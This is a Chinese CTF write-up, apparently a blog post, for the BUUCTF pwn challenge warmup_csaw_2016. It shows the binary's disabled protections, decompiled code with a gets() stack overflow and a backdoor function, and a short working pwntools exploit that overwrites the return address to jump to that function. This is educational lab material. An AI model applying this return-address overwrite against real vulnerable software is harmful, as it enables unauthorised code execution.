zoukankan      html  css  js  c++  java
  • [buuctf] pwnwarmup_csaw_2016

    warmup_csaw_2016

    查询文件保护措施

        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX disabled
        PIE:      No PIE (0x400000)
        RWX:      Has RWX segments
    

    64位程序,不能修改GOT表,其他保护都没开,ida分析

    存在后门函数

    int sub_40060D()
    {
      return system("cat flag.txt");
    }
    

    主函数如下

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      char s; // [rsp+0h] [rbp-80h]
      char v5; // [rsp+40h] [rbp-40h]
    
      write(1, "-Warm Up-\n", 0xAuLL);
      write(1, "WOW:", 4uLL);
      sprintf(&s, "%p\n", sub_40060D);
      write(1, &s, 9uLL);
      write(1, ">", 1uLL);
      return gets(&v5, ">");
    }
    

    存在栈溢出漏洞,溢出到后门函数即可

    from pwn import *
    r = remote('node3.buuoj.cn',26140)
    fun_addr = 0x40060D
    payload = b'a'*0x48+p64(fun_addr)
    r.sendline(payload)
    r.interactive()
    

    作者:寒江寻影
    本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须在文章页面给出原文链接,否则保留追究法律责任的权利。
  • 相关阅读:
    openresty
    ATS 相关
    pandas
    flask
    ansible
    zipline
    bcolz
    数据分析 --- concat
    Go --- 基础使用
    Go --- 基础介绍
  • 原文地址:https://www.cnblogs.com/crfshadow/p/14502463.html
Copyright © 2011-2022 走看看